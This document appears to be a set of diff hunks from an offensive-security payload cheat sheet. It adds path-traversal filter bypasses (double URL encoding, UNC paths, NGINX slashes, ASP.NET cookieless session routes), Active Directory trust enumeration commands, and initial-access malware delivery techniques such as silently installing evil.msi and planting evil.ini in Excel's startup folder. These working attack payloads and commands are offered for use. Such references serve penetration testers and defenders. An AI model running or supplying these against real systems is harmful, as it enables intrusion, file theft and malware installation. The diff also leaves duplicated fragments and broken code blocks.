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ASPNET Cookieless Bypass
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@ -13,6 +13,7 @@
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* [Double URL encoding](#double-url-encoding)
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* [UNC Bypass](#unc-bypass)
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* [NGINX/ALB Bypass](#nginxalb-bypass)
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* [ASPNET Cookieless Bypass](#aspnet-cookieless-bypass)
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* [Path Traversal](#path-traversal)
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* [Interesting Linux files](#interesting-linux-files)
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* [Interesting Windows files](#interesting-windows-files)
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@ -72,6 +73,7 @@ Sometimes you encounter a WAF which remove the "../" characters from the strings
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http://domain.tld/page.jsp?include=..;/..;/sensitive.txt
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```
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### Double URL encoding
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```powershell
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@ -82,6 +84,7 @@ http://domain.tld/page.jsp?include=..;/..;/sensitive.txt
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**e.g:** Spring MVC Directory Traversal Vulnerability (CVE-2018-1271) with `http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini`
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### UNC Bypass
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An attacker can inject a Windows UNC share ('\\UNC\share\name') into a software system to potentially redirect access to an unintended location or arbitrary file.
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@ -90,6 +93,7 @@ An attacker can inject a Windows UNC share ('\\UNC\share\name') into a software
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\\localhost\c$\windows\win.ini
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```
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### NGINX/ALB Bypass
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NGINX in certain configurations and ALB can block traversal attacks in the route, For example:
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@ -99,6 +103,21 @@ To bypass this behaviour just add forward slashes in front of the url:
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```http://nginx-server////////../../```
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### ASPNET Cookieless Bypass
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When cookieless session state is enabled. Instead of relying on a cookie to identify the session, ASP.NET modifies the URL by embedding the Session ID directly into it.
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For example, a typical URL might be transformed from: `http://example.com/page.aspx` to something like: `http://example.com/(S(lit3py55t21z5v55vlm25s55))/page.aspx`. The value within `(S(...))` is the Session ID.
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We can use this behavior to bypass filtered URLs.
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```powershell
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/admin/(S(X))/main.aspx
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/admin/Foobar/(S(X))/../(S(X))/main.aspx
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/(S(X))/admin/(S(X))/main.aspx
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```
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### Java Bypass
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Bypass Java's URL protocol
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@ -210,3 +229,4 @@ The following log files are controllable and can be included with an evil payloa
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* [CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) - CWE Mitre - December 27, 2018](https://cwe.mitre.org/data/definitions/40.html)
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* [NGINX may be protecting your applications from traversal attacks without you even knowing](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d?source=friends_link&sk=e9ddbadd61576f941be97e111e953381)
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* [Directory traversal - Portswigger](https://portswigger.net/web-security/file-path-traversal)
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* [Cookieless ASPNET - Soroush Dalili](https://twitter.com/irsdl/status/1640390106312835072)
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@ -3422,19 +3422,22 @@ $obj.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$nul
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### Enumerate trusts between domains
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```powershell
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nltest /trusted_domains
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```
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* Native `nltest`
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```powershell
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nltest /trusted_domains
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```
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* PowerShell `GetAllTrustRelationships`
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```powershell
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([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
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or
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```powershell
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([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
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SourceName TargetName TrustType TrustDirection
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---------- ---------- --------- --------------
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domainA.local domainB.local TreeRoot Bidirectional
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```
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SourceName TargetName TrustType TrustDirection
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---------- ---------- --------- --------------
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domainA.local domainB.local TreeRoot Bidirectional
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```
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* Crackmapexec module `enum_trusts`
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```powershell
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cme ldap <ip> -u <user> -p <pass> -M enum_trusts
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```
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### Exploit trusts between domains
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@ -5,7 +5,8 @@
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## Summary
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* [Complex Chains](#complex-chains)
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* [Payloads](#payloads)
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* [Container](#container)
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* [Payload](#payload)
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* [Binary Files](#binary-files)
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* [Code Execution Files](#code-execution-files)
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* [Embedded Files](#embedded-files)
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@ -29,8 +30,31 @@
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* **DECOY**: used to continue pretext narration after detonating malware
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* Typically open PDF files
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Examples:
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* HTML SMUGGLING(PASSWORD PROTECTED ZIP + ISO(LNK + IcedID + PNG)) used by [TA551/Storm-0303](https://thedfirreport.com/2023/08/28/html-smuggling-leads-to-domain-wide-ransomware/)
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## Payloads
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## Container
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* **ISO/IMG** - can contain hidden files, gets **automounted** giving easy access to contained files (`powershell –c .\malware.exe`)
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* **ZIP** - can contain hidden files (locate ZIP + unpack it + change dir + run Malware)
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* **WIM** - Windows Image, builtin format used to deploy system features
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```ps1
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# Mount/Unmount .WIM
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PS> Mount-WindowsImage -ImagePath myarchive.wim -Path "C:\output\path\to\extract" -Index 1
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PS> Dismount-WindowsImage -Path "C:\output\path\to\extract" -Discard
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```
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* **7-zip, RAR, GZ** - should get a native support on Windows 11
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## Trigger
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* **LNK**
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* **CHM**
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* **ClickOnce**
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## Payload
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### Binary Files
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@ -106,10 +130,23 @@ These files can be executed directly on the system without any third party.
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* Word with Macro (.doc, .docm)
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* Excel library (.xll)
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* Excel macro-enabled add-in file (.xlam)
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```ps1
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xcopy /Q/R/S/Y/H/G/I evil.ini %APPDATA%\Microsoft\Excel\XLSTART
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```
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* WSF files (.wsf)
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* MSI installers (.msi)
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```ps1
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powershell Unblock-File evil.msi; msiexec /q /i .\evil.msi
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```
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* MSIX/APPX app package (.msix, .appx)
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* ClickOnce (.application, .vsto)
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* ClickOnce (.application, .vsto, .appref-ms)
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* Powershell scripts (.ps1)
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* Windows Script Host scripts (.wsh, .vbs)
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```ps1
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cscript.exe payload.vbs
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wscript payload.vbs
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wscript /e:VBScript payload.txt
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```
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### Embedded Files
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@ -148,5 +185,6 @@ In 2022, LAPSUS$ claimed responsibility for a cyberattack on NVIDIA, a major gra
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* [Top 10 Payloads: Highlighting Notable and Trending Techniques - delivr.to](https://blog.delivr.to/delivr-tos-top-10-payloads-highlighting-notable-and-trending-techniques-fb5e9fdd9356)
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* [Executing Code as a Control Panel Item through an Exported Cplapplet Function - @spotheplanet](https://www.ired.team/offensive-security/code-execution/executing-code-in-control-panel-item-through-an-exported-cplapplet-function)
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* [02. Desperate Infection Chains - Multi-Step Initial Access Strategies by Mariusz Banach](https://youtu.be/CwNPP_Xfrts)
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* [Desperate Infection Chains - Multi-Step Initial Access Strategies by Mariusz Banach - x33fcon Youtube](https://youtu.be/CwNPP_Xfrts)
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* [Desperate Infection Chains - Multi-Step Initial Access Strategies by Mariusz Banach - x33fcon PDF](https://binary-offensive.com/files/x33fcon%20-%20Desperate%20Infection%20Chains.pdf)
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* [Red Macros Factory - https://binary-offensive.com/](https://binary-offensive.com/initial-access-framework)
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